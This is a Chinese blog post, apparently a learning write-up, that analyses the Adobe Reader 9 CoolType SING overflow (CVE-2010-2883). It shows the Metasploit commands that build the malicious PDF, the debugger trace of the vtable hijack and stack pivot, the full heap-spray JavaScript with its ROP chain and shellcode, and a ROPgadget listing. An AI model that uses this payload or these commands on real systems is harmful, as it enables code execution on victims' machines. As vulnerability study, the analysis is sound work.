漏洞分析学习之cve-2010-2883

2019-11-20 约 891 字 预计阅读 5 分钟

声明:本文 【漏洞分析学习之cve-2010-2883】 由作者 NoOne 于 2019-11-20 09:19:21 首发 先知社区 曾经 浏览数 904 次

感谢 NoOne 的辛苦付出!

漏洞分析学习之cve-2010-2883

前言

打ctf打久了,也该学学漏洞分析了,不可能以后的工作就是打ctf吧,照着漏洞战争这本书开始学习吧

环境配置

adobe_reader_9.0_download

win_xp_sp3

vmware 自己下吧

工具:

  • 吾爱破解od
  • 010editor
  • PdfStreamDumper

配好环境后 开始动工

样本生成

先生成一个弹calc的吧

search adobe_cooltype_sing
use exploit/windows/fileformat/adobe_cooltype_sing/
set PAYLOAD windows/exec
set CMD calc.exe
show option
set FILENAME cve2010.pdf
exploit

放到虚拟机

运行起来

)

分析

漏洞点查找

如果让我审一个软件的话,这太难了。。光敏感函数都可能有好多吧,比如这里就是strcat,
这个strcat是个敏感函数,让我纯手动审出这个点,我觉得对于现在的我来说不现实,所以,漏洞点这部分直接过了吧,假设已知漏洞点,利用吧

漏洞利用

玩惯了ctf, 通常pwn题就是给个exp就可以一把梭,编写exp也是门艺术,那是python语言,现在这个要产生exp,emm,就是用msf这个框架了,我们要生成一个pdf,方便我们利用,所以开始我们的学习旅程吧,学ruby,学js

发觉从头开始构造太难了,直接分析部分代码吧,我看了下pdf构造部分。。好麻烦,所以应该抽丝剥茧,将pdf构造和原理部分分开,

我这边只分析下ROP链过程,因为我只会这部分,pdf构造还不会

至于pdf部分,还是用现成的吧。。还要看官方文档来构造

ROP链

用ida打开CoolType.dll库(这个库在adobe_reader目录下),搜索SING,定位到这个函数,看到strcat,盲猜也是这里有问题了,

其余具体漏洞战争那本书已经讲了,照着样本分析部分做一遍

010editor可以设置模板解析文件,网上下个模板就行
下载地址

dump出结构数据,查看SING部分

根据ida那里获得的地址下断,

断在这里,

看strcat部分,是将恶意数据复制到ebp所指地点

继续f8单步,单步到这里执行直接弹计算器了,下断再次运行,这里如果弹到7C地址处,可以按减号回退到地址处
0803DDA8 E8 E98DFDFF call CoolType.08016B96

再次运行在
08016C0E E8 C64E0000 call CoolType.0801BAD9
这里跑起来了,继续重复
0801BAF9 FF10 call dword ptr ds:[eax] ; CoolType.0808AFCE

再次重复

最后定位到这里
0808B1C0 FF10 call dword ptr ds:[eax] ; icucnv36.4A80CB38

F7进去
4A80CB38 81C5 94070000 add ebp,0x794
4A80CB3E |. C9 leave
4A80CB3F . C3 retn

发觉进行了栈底的提高,

发觉这个栈迁移到我们原来写入的地方了

也就是说我们控制了eip,从图中还可以看出,这是c++的虚表攻击,覆盖了虚表指针,让他跳转到这里,然后进行了栈迁移

这里在将栈迁移到0x0C0C0C0C部分,很容易联想到heap spray,大概就是将eip转到对去的0x0C0C0C0C部分,然后用js申请大量堆内存,并且包含着slide(滑板)和shellcode的内存片,申请的内存超过200M就可以大于0x0C0C0C0C,然后通过滑板对shellcode无影响,提高shellcode命中执行率

后面继续执行创建临时文件

└──╼ $strings icucnv36.dll|grep iso
iso-ir-165
iso88591
iso2022

这里从库中存的取出任意都行,不一定得iso这个,不过可能这个好找?
然后执行函数,参数都放栈里了

后面的函数同理可得

创建CreateFileMap

接着MapViewOfFile

在接下去memcpy

然后是shellcode

映射部分

createfilemapping 用来建立内存映象文件,原型如下:
HANDLE CreateFileMapping(
HANDLE hFile, //文件句柄
LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // 可选安全属性
DWORD flProtect, // 映象文件保护方式
DWORD dwMaximumSizeHigh, // 映象文件区域的底值
DWORD dwMaximumSizeLow, // 映象文件区域的顶值
LPCTSTR lpName // 映象文件的名字 );

mapviewoffile用来访问映象文件,该函数会返回一个指向共享内存块的特定指针。原型如下:
LPVOID MapViewOfFile(
HANDLE hFileMappingObject, // 映象文件句柄
DWORD dwDesiredAccess, // 访问方式
DWORD dwFileOffsetHigh, // 映象文件区域的底值
DWORD dwFileOffsetLow, // 映象文件区域的顶值
DWORD dwNumberOfBytesToMap // 映射字节数 );
其中如果 dwNumberOfBytesToMap 是0,表示映射整个文件。

然后在复制shellcode

整个攻击流程就是通过strcat溢出,攻击虚表指针,然后通过ROP,移动到我们的栈位置,在通过栈迁移,移动到0x0C0C0C0C部分(联想到堆喷射),在接着就是通过ROP执行shellcode,整体流程就是这样
动态复现部分就是这样

heap spray

通过PdfStreamDumper dump出js数据

var kQaZHCkIwASUmfcZmiIDLaVOqfgXDNAZipbOhbFhZFgjkCy = unescape;
var xzZCr = kQaZHCkIwASUmfcZmiIDLaVOqfgXDNAZipbOhbFhZFgjkCy( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ud0d9%u74d9%uf424%u295b%ub1c9%ub831%ucdd3%ub89c%u4331%u0318%u1843%uc383%u2fd7%u4469%u2d3f%ub592%u52bf%u501a%u528e%u1078%u62a0%u740a%u084c%u6d5e%u7cc7%u8277%uca60%uada1%u6771%uac91%u7af1%u0ec6%ub4c8%u4e1b%ua80d%u02d6%ua6c6%ub345%uf263%u3855%u123f%uddde%u15f7%u73cf%u4f8c%u72cf%ue441%u6d46%uc186%u0611%ubd7c%ucea3%u3e4d%u2f0f%ucd62%u7751%u2e44%u8124%ud3b7%u563f%u0fca%u4db5%udb6c%uaa6d%u088d%u39eb%ue581%u657f%uf885%u1dac%u71b1%uf253%uc130%ud670%u9119%u4f19%u74c7%u8f25%u29a8%udb83%u3d44%u81be%uc002%ubc4c%uc260%ubf4e%uabd4%u347f%uacbb%u9f7f%u43f8%u82ca%ucba8%u5693%u91e9%u8d23%uac2d%u24a7%u4bcd%u4cb7%u10c8%ubc7f%u09a0%uc2ea%u2917%ua13f%ub9f6%u08a3%u399d%u5541' );
var PtsP = kQaZHCkIwASUmfcZmiIDLaVOqfgXDNAZipbOhbFhZFgjkCy( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (PtsP.length + 20 + 8 < 65536) PtsP+=PtsP;
QWajrmiLzGfVTTfDMfHcozfKkXRjoAukOXIOVDKdRSnuHrXJWS = PtsP.substring(0, (0x0c0c-0x24)/2);
QWajrmiLzGfVTTfDMfHcozfKkXRjoAukOXIOVDKdRSnuHrXJWS += xzZCr;
QWajrmiLzGfVTTfDMfHcozfKkXRjoAukOXIOVDKdRSnuHrXJWS += PtsP;
LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF = QWajrmiLzGfVTTfDMfHcozfKkXRjoAukOXIOVDKdRSnuHrXJWS.substring(0, 65536/2);
while(LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF.length < 0x80000) LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF += LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF;
vYpKSywUKtOzmIcaRAYPqZsGKRQBZeikke = LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF.substring(0, 0x80000 - (0x1020-0x08) / 2);
var kXBj = new Array();
for (bMcIMXywogQMkNripedDmONNHXvwXPnOMatnpKwUSHuATHOcAzuvTnYIGldzmu=0;bMcIMXywogQMkNripedDmONNHXvwXPnOMatnpKwUSHuATHOcAzuvTnYIGldzmu<0x1f0;bMcIMXywogQMkNripedDmONNHXvwXPnOMatnpKwUSHuATHOcAzuvTnYIGldzmu++) kXBj[bMcIMXywogQMkNripedDmONNHXvwXPnOMatnpKwUSHuATHOcAzuvTnYIGldzmu]=vYpKSywUKtOzmIcaRAYPqZsGKRQBZeikke+"s";

emm, msf生成的这个变量命名有点长啊,不过大概还是能看懂的,毕竟这种命名规范逆向都遇到过。。。
将他解成易懂的代码吧

var a = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ud0d9%u74d9%uf424%u295b%ub1c9%ub831%ucdd3%ub89c%u4331%u0318%u1843%uc383%u2fd7%u4469%u2d3f%ub592%u52bf%u501a%u528e%u1078%u62a0%u740a%u084c%u6d5e%u7cc7%u8277%uca60%uada1%u6771%uac91%u7af1%u0ec6%ub4c8%u4e1b%ua80d%u02d6%ua6c6%ub345%uf263%u3855%u123f%uddde%u15f7%u73cf%u4f8c%u72cf%ue441%u6d46%uc186%u0611%ubd7c%ucea3%u3e4d%u2f0f%ucd62%u7751%u2e44%u8124%ud3b7%u563f%u0fca%u4db5%udb6c%uaa6d%u088d%u39eb%ue581%u657f%uf885%u1dac%u71b1%uf253%uc130%ud670%u9119%u4f19%u74c7%u8f25%u29a8%udb83%u3d44%u81be%uc002%ubc4c%uc260%ubf4e%uabd4%u347f%uacbb%u9f7f%u43f8%u82ca%ucba8%u5693%u91e9%u8d23%uac2d%u24a7%u4bcd%u4cb7%u10c8%ubc7f%u09a0%uc2ea%u2917%ua13f%ub9f6%u08a3%u399d%u5541' );
var b = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while(b.length + 20 + 8 < 0x10000) b+=b;
c = b.substring(0, (0x0c0c-0x24)/2);
c += a;
c += b;
d = c/substring(0, 0x10000/2);
while(d.length < 0x80000) d += d;
e = d.substring(0, 0x80000 - (0x1020-0x08)/2);
var array = new Array();
for(i=0; i < 0x1f0; i++) array[i] = e + "s"

我这命名规范别喷了。。。我也知道菜。不知道命名成啥
b就是0x0C0C0C0C,滑板来的,代码就是or al,0x0c,这种滑板
emm

顺便分析下吧,

while(b.length + 20 + 8 < 0x10000) b+=b;
c = b.substring(0, (0x0c0c-0x24)/2);
c += a;
c += b;

这部分,就是计算到1/10mb,这里以1/10mb为一个单元块,在减掉结构部分大小,加上shellcode
然后在填充8份

while(d.length < 0x80000) d += d;
e = d.substring(0, 0x80000 - (0x1020-0x08)/2);

最后便是关键

for(i=0; i < 0x1f0; i++) array[i] = e + "s"

这里是以0x80000为一个单位块

>>> hex(0x80000*0x1f0)
'0xf800000'

所以这里实际上早就超过了0x0C0C0C0C,所以只要ROP迁移到这里,就可以执行shellcode的了

思考

  1. 假设给你一个恶意pdf,如何快速分析找到漏洞点?
  2. 如何进行修复

第一个问题,我目前只会找敏感函数,所以暂时放着了

第二个修复部分,用strncat就可以了,带长度的,后面修复就是通过strncat加上动态分配,这样就没有栈溢出了

总结

  1. 我觉得难的部分还是pdf的构造。我不会构造这部分,emm
  2. rop部分一样可以用ROPgadget获得
    └──╼ $ROPgadget --binary icucnv36.dll | grep 'add ebp'
    0x4a805afc : add al, 0 ; add ebp, 0x1fc ; leave ; ret
    0x4a82748c : add al, 0x75 ; add ebp, dword ptr [edx + 2] ; pop eax ; ret
    0x4a8221c2 : add al, byte ptr [eax] ; add ebp, 0x104 ; leave ; ret 4
    0x4a81fba6 : add al, byte ptr [eax] ; add ebp, 0x148 ; leave ; ret
    0x4a81fe1a : add al, byte ptr [eax] ; add ebp, 0x160 ; leave ; ret
    0x4a8225b1 : add al, byte ptr [eax] ; add ebp, 0x18c ; leave ; ret
    0x4a82683d : add al, byte ptr [eax] ; add ebp, 0x394 ; leave ; ret
    0x4a8241b7 : add al, byte ptr [eax] ; add ebp, 0x3a0 ; leave ; ret
    0x4a825227 : add al, byte ptr [eax] ; add ebp, 0x60 ; leave ; ret
    0x4a82038e : add al, byte ptr [eax] ; add ebp, 0x64 ; leave ; ret
    0x4a825011 : add al, byte ptr [eax] ; add ebp, 0x6c ; leave ; ret
    0x4a8239f5 : add al, byte ptr [eax] ; add ebp, 0x6c ; leave ; ret 0xc
    0x4a82391a : add al, byte ptr [eax] ; add ebp, 0x70 ; leave ; ret 8
    0x4a82536d : add al, byte ptr [eax] ; add ebp, 0x78 ; leave ; ret
    0x4a8233a0 : add al, byte ptr [eax] ; add ebp, 0x84 ; leave ; ret
    0x4a82365f : add al, byte ptr [eax] ; add ebp, 0x88 ; leave ; ret
    0x4a825594 : add al, byte ptr [eax] ; add ebp, 0x90 ; leave ; ret
    0x4a826235 : add al, byte ptr [eax] ; add ebp, 0xb0 ; leave ; ret
    0x4a83892d : add byte ptr [eax], al ; add ebp, 0x18c ; leave ; ret 0xc
    0x4a84126f : add byte ptr [eax], al ; add ebp, 0x210 ; leave ; ret
    0x4a84040c : add byte ptr [eax], al ; add ebp, 0x398 ; leave ; ret 0x18
    0x4a83bf56 : add byte ptr [eax], al ; add ebp, 0x474 ; leave ; ret
    0x4a841791 : add byte ptr [eax], al ; add ebp, 0x60 ; leave ; ret
    0x4a83989a : add byte ptr [eax], al ; add ebp, 0x64 ; leave ; ret 0x14
    0x4a83909d : add byte ptr [eax], al ; add ebp, 0xc0 ; leave ; ret 4
    0x4a827f19 : add dword ptr [eax], eax ; add ebp, 0x17c ; leave ; ret
    0x4a828f1f : add dword ptr [eax], eax ; add ebp, 0x1cb4 ; leave ; ret
    0x4a82b5f2 : add dword ptr [eax], eax ; add ebp, 0x264 ; leave ; ret 0xc
    0x4a82b10e : add dword ptr [eax], eax ; add ebp, 0x40c ; leave ; ret 0x18
  3. 至于攻击过程,这是以前洞的一个常见思路,创建临时文件,然后内存映射,最后复制shellcode
  4. pdf构造可以参考 参考链接中的安全客师傅发的

参考链接

深入浅出讲pdf恶意文档
PDF, Let Me Count the Ways…
安全客师傅分析

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now